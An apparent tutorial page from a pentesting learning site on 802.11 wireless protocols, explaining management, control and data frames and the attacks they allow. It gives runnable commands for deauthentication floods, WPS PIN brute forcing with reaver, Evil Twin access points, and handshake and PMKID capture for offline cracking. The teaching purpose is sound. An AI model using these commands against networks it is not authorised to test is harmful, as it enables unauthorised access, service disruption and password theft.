Home > Network Pentesting

Wireless-Specific Network Protocols

Wireless-specific network protocols introduce unique attack surfaces that do not exist on wired networks. Wireless communication relies on radio signals, broadcast packets, management frames, and encryption standards that can be intercepted, manipulated, or exploited. Understanding these protocols is essential for analyzing Wi-Fi security, detecting vulnerabilities, and performing wireless pentesting.

Understanding Wireless Network Layers

Wireless networks use IEEE 802.11 standards. Unlike Ethernet, Wi-Fi traffic includes:

  • Management frames

  • Control frames

  • Data frames

  • Beacon broadcasts

  • Probe requests/responses

  • Association/authentication frames

These packets reveal network structure and client behavior even before encryption.

Pentesters capture and analyze these frames to identify attack paths.

Monitoring Wireless Traffic

Before exploiting wireless protocols, the network interface must enter monitor mode to capture raw 802.11 frames.

Enabling Monitor Mode

sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

Using Airmon-ng

sudo airmon-ng start wlan0

Monitor mode is the foundation for wireless protocol attacks.

802.11 Management Frames

Management frames announce and maintain Wi-Fi networks. They are unauthenticated, making them exploitable.

Beacon Frames

Beacons broadcast network details:

  • SSID

  • Channel

  • Encryption type

  • Supported rates

  • Vendor info

Capture beacons:

sudo tcpdump -i wlan0mon type mgt subtype beacon

Beacons help identify misconfigured or fake APs.

Probe Requests

Clients broadcast probe requests even when not connected.

Capture probes:

sudo tcpdump -i wlan0mon type mgt subtype probe-req

Probes reveal:

  • Previously connected SSIDs

  • Device fingerprinting

  • Tracking information

Attackers use this for social engineering and fake AP attacks.

Authentication/Association Frames

These frames show clients connecting to networks.

Capture:

sudo tcpdump -i wlan0mon type mgt

They help identify active devices and their capabilities.

WPA2/WPA3 Handshakes

Capturing WPA2 handshakes allows offline password cracking.

Capturing Handshake with Airodump-ng

sudo airodump-ng wlan0mon -c 6 --bssid <AP_MAC> -w capture

Force a reconnect to capture handshake:

sudo aireplay-ng --deauth 10 -a <AP_MAC> wlan0mon

Handshake captures enable dictionary attacks on weak passwords.

EAPOL Frames (WPA/WPA2 Key Exchange)

EAPOL frames are part of WPA authentication.

Capture:

sudo tcpdump -i wlan0mon ether proto 0x888e

These frames are crucial for cracking WPA2-PSK.

WPS (Wi-Fi Protected Setup) Protocol Attacks

WPS is vulnerable to brute forcing.

Checking WPS Status

sudo wash -i wlan0mon

WPS Pin Attack

sudo reaver -i wlan0mon -b <AP_MAC> -vv

Vulnerable WPS allows rapid access to WPA2-protected networks.

802.11 Control Frames

Control frames manage access to the wireless medium.

Deauthentication Frames

Deauth frames are unauthenticated in WPA2.

Trigger client disconnect:

sudo aireplay-ng --deauth 5 -a <AP_MAC> wlan0mon

Uses include:

  • Capturing WPA handshakes

  • Forcing reconnects

  • Disrupting connectivity

802.11 Data Frames

Encrypted (WPA2/WPA3) or unencrypted (open networks).
Even encrypted frames reveal:

  • Clients

  • APs

  • Traffic volume

  • MAC addresses

Capture data:

sudo tcpdump -i wlan0mon type data

Traffic patterns help detect anomalies or hidden networks.

Wireless-Specific Protocol Attacks

1. Evil Twin AP (Rogue Access Point)

Attacker creates a fake AP with the same SSID.

sudo airbase-ng -e "FreeWifi" -c 6 wlan0mon

Clients connect automatically if signal is stronger.

2. KARMA Attacks (Responding to Probe Requests)

Attacker responds to all probe requests.

Tools: Bettercap, hostapd-karma.

3. PMKID Attack (WPA2)

Capture PMKID without handshake.

sudo hcxdumptool -i wlan0mon -o dump.pcapng --enable_status=1

Extract PMKID:

sudo hcxpcapngtool -o pmkid.txt dump.pcapng

Crack with Hashcat.

4. WPA3 Downgrade Attacks

Some routers allow fallback to WPA2, enabling handshake capture.

5. 802.11r (Fast Roaming) Attacks

Fast BSS transitions leak additional data during roaming events.

Monitoring Wireless-Specific Traffic

Wireshark is ideal for analyzing 802.11 frames.

Useful filters:

Beacons:

wlan.fc.type_subtype == 0x08

Probes:

wlan.fc.type_subtype == 0x04

EAPOL:

eapol

Deauth:

wlan.fc.type_subtype == 0xc0

These reveal authentication flows and potential weaknesses.

Why Wireless Protocol Analysis Matters

Wireless-specific protocols expose vulnerabilities unique to radio networks. Understanding these protocols helps pentesters:

  • Capture WPA keys

  • Identify rogue devices

  • Launch Evil Twin/MITM attacks

  • Analyze handshakes

  • Detect weak WPS implementations

  • Discover client probe leaks

  • Perform deauth attacks

Wireless networks are often overlooked yet crucial to overall network security posture.

Intel Dump

  • Wireless protocols introduce management, control, and data frames

  • Tools: Airmon-ng, Airodump-ng, Aireplay-ng, tcpdump, Bettercap

  • WPA2 attacks rely on EAPOL/PMKID capture

  • WPS is vulnerable to brute forcing

  • Deauth, rogue AP, and KARMA attacks rely on unauthenticated 802.11 frames

HOME LEARN COMMUNITY DASHBOARD